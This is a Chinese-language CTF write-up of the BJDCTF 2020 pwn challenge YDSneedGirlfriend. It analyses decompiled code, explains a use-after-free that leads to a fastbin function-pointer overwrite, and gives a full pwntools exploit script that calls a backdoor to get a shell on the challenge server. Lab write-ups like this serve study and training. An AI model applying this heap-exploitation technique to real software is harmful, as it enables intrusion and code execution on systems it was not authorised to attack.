1377 字
7 分钟
BJDCTF 2020 | YDSneedGirlfriend
  • Checksec查看题目类型: alt text

  • IDA分析main()alt text alt text 根据分析main函数的主要功能就是menu菜单的实现,用户输入对应功能的编号即可使用这个功能点

  • 跟进add_girlfriend()进行分析:

    unsigned __int64 add_girlfriend()
    {
    __int64 v0; // rbx
    int n9; // [rsp+8h] [rbp-28h]
    int size; // [rsp+Ch] [rbp-24h]
    char buf[8]; // [rsp+10h] [rbp-20h] BYREF
    unsigned __int64 v5; // [rsp+18h] [rbp-18h]
    v5 = __readfsqword(0x28u);
    if ( count <= 10 )
    {
    for ( n9 = 0; n9 <= 9; ++n9 )
    {
    if ( !*(&girlfriendlist + n9) )
    {
    *(&girlfriendlist + n9) = malloc(0x10u);
    if ( !*(&girlfriendlist + n9) )
    {
    puts("Alloca Error");
    exit(-1);
    }
    *(_QWORD *)*(&girlfriendlist + n9) = print_girlfriend_name;
    printf("Her name size is :");
    read(0, buf, 8u);
    size = atoi(buf);
    v0 = (__int64)*(&girlfriendlist + n9);
    *(_QWORD *)(v0 + 8) = malloc(size);
    if ( !*((_QWORD *)*(&girlfriendlist + n9) + 1) )
    {
    puts("Alloca Error");
    exit(-1);
    }
    printf("Her name is :");
    read(0, *((void **)*(&girlfriendlist + n9) + 1), size);
    puts("Success !Wow YDS get a girlfriend!");
    ++count;
    return __readfsqword(0x28u) ^ v5;
    }
    }
    }
    else
    {
    puts("Full");
    }
    return __readfsqword(0x28u) ^ v5;
    }

    首先检查全局计数器count是否超过10,若未满则遍历girlfriendlist数组(固定 10 个位置)寻找第一个位置,并通过malloc(0x10)分配一个16字节的结构体块并将地址存入该槽位,然后在结构体的前8字节(偏移+0)写入函数指针print_girlfriend_name,接着获取用户输入的名字长度size,再用malloc(size)分配对应大小的名字堆块并将地址存入结构体的后8字节(偏移 +8),最后再次读取用户输入的实际名字字符串写入该名字块,成功后输出提示并将count加1,循环此操作

    int __fastcall print_girlfriend_name(__int64 a1) # a1 = n9
    {
    return puts(*(const char **)(a1 + 8));
    }

    print_girlfriend_name方法作用就是将用户传入的女友名字打印到终端上

  • 跟进del_girlfriend()进行分析:

    unsigned __int64 del_girlfriend()
    {
    int count; // [rsp+Ch] [rbp-14h]
    char buf[8]; // [rsp+10h] [rbp-10h] BYREF
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    v3 = __readfsqword(0x28u);
    printf("Index :");
    read(0, buf, 4u);
    count = atoi(buf);
    if ( count >= 0 && count < ::count )
    {
    if ( *(&girlfriendlist + count) )
    {
    free(*((void **)*(&girlfriendlist + count) + 1));
    free(*(&girlfriendlist + count));
    puts("Success");
    }
    }
    else
    {
    puts("Out of bound!");
    }
    return __readfsqword(0x28u) ^ v3;
    }

    del_girlfriend 函数先读取用户输入的索引,并检查该索引是否在有效范围(0 到全局 count-1)内,若有效则进一步检查对应的 girlfriendlist 空间是否为空,随后先释放该空间所指向结构体中偏移 +8 处存储的名字堆块,再释放结构体堆块本身并输出Success,但整个过程并没有将 girlfriendlist 数组中对应指针置空,也没有减少全局 count 计数器

  • 跟进print_girlfriend()进行分析:

    unsigned __int64 print_girlfriend()
    {
    int count; // [rsp+Ch] [rbp-14h]
    char buf[8]; // [rsp+10h] [rbp-10h] BYREF
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    v3 = __readfsqword(0x28u);
    printf("Index :");
    read(0, buf, 4u);
    count = atoi(buf);
    if ( count >= 0 && count < ::count )
    {
    if ( *(&girlfriendlist + count) )
    (*(void (__fastcall **)(_QWORD))*(&girlfriendlist + count))(*(&girlfriendlist + count));
    }
    else
    {
    puts("Out of bound!");
    }
    return __readfsqword(0x28u) ^ v3;
    }

    print_girlfriend 函数先读取用户输入的索引,检查其是否在有效范围(0 到全局 count-1)内,若有效且对应 girlfriendlist 空间非空,则通过强制类型转换将该空间指向的结构体块开头 8 字节解释为一个函数指针,并调用该函数同时传入结构体自身地址作为参数,也就是调用print_girlfriend_name函数打印女友名字

  • 此外该程序提供了后门: alt text

  • 实验场景模拟:

    • 攻击者可先申请两个 Girlfriend,分别为 A 和 B,且名字大小均设置为 0x20(实际名字块大小 0x30)
    • 此时内存布局:
      • A_struct(malloc(0x10),chunk 大小 0x20)在 0x100
      • A_name(malloc(0x20),chunk 大小 0x30)在 0x200
      • B_struct(malloc(0x10),chunk 大小 0x20)在 0x300
      • B_name(malloc(0x20),chunk 大小 0x30)在 0x400
      • girlfriendlist[0] = 0x100,girlfriendlist[1] = 0x300,count = 2
    • 调用 del_girlfriend() 释放 A(索引 0):
      • 程序先 free(0x200)(A_name)→ 0x200 进入 0x30 fastbin
      • 再 free(0x100)(A_struct)→ 0x100 进入 0x20 fastbin
      • 但 girlfriendlist[0] 仍为 0x100,count 仍为 2(未减少)
    • 再次调用 add_girlfriend() 创建 C,名字大小仍设为 0x20:
      • 寻找空闲槽位 → 索引 2 为空
      • 为 C 分配结构体:从 0x20 fastbin 头部取走 0x100 → girlfriendlist[2] = 0x100
      • 为 C 分配名字:从 0x30 fastbin 头部取走 0x200 → C 的名字指针指向 0x200
      • 此时 girlfriendlist[0] 和 girlfriendlist[2] 同时指向 0x100(两个索引对应同一个结构体块)
      • 向 0x200 写入名字数据(任意内容),count 增加为 3
    • 再次调用 del_girlfriend() 释放 A(索引 0):
      • 程序再次 free(0x200)(C 的名字块,即原 A_name)→ 0x200 重新进入 0x30 fastbin
      • 程序再次 free(0x100)(C 的结构体块,即原 A_struct)→ 0x100 重新进入 0x20 fastbin
      • 此时绕过了 double free 检测,因为中间夹了一次分配
    • 调用 del_girlfriend() 释放 B(索引 1):
      • 程序先 free(0x400)(B_name)→ 0x30 fastbin 链变为 0x400 → 0x200
      • 再 free(0x300)(B_struct)→ 0x20 fastbin 链变为 0x300 → 0x100
    • 现在 fastbin 状态:
      • 0x20 fastbin(结构体大小):head -> 0x300 -> 0x100
      • 0x30 fastbin(名字大小):head -> 0x400 -> 0x200
      • girlfriendlist[0] 和 girlfriendlist[2] 仍然指向 0x100
    • 调用 add_girlfriend() 创建 D,名字大小改为 0x10(实际 chunk 大小 0x20):
      • 为 D 分配结构体:从 0x20 fastbin 头部取走 0x300 → girlfriendlist[3] = 0x300
      • 为 D 分配名字:再次从 0x20 fastbin 头部取走 0x100 → D 的名字指针指向 0x100
      • 向 0x100 写入名字数据(backdoor)
      • 此时 0x100 开头 8 字节的原函数指针被覆盖为 backdoor 地址
      • 而 girlfriendlist[0] 依然指向 0x100
    • 调用 print_girlfriend() 打印 A(索引 0):
      • 程序检查 girlfriendlist[0] 非空,调用 *(0x100) 处的函数指针
      • 实际执行 backdoor() → 输出信息并启动 /bin/sh
  • EXP脚本:

    from pwn import *
    # p = process('./girlfriend')
    p = remote('node4.anna.nssctf.cn', 24511)
    backdoor = 0x400B9C
    def add(size, name):
    p.sendlineafter(b'Your choice :', b'1')
    p.sendlineafter(b'Her name size is :', str(size).encode())
    p.sendafter(b'Her name is :', name)
    def delete(id):
    p.sendlineafter(b'Your choice :', b'2')
    p.sendlineafter(b'Index :', str(id))
    def look(id):
    p.sendlineafter(b'Your choice :', b'3')
    p.sendlineafter(b'Index :', str(id))
    add(0x20, b'A')
    add(0x20, b'B')
    delete(0)
    add(0x20, b'C')
    delete(0)
    delete(1)
    add(0x10, p64(backdoor))
    look(0)
    p.interactive()

    alt text

BJDCTF 2020 | YDSneedGirlfriend
https://lepustimus.github.io/posts/pwn/bjdctf_2020_ydsneedgirlfriend/
作者
Lepustimidus
发布于
2026-04-15
许可协议
CC BY-NC-SA 4.0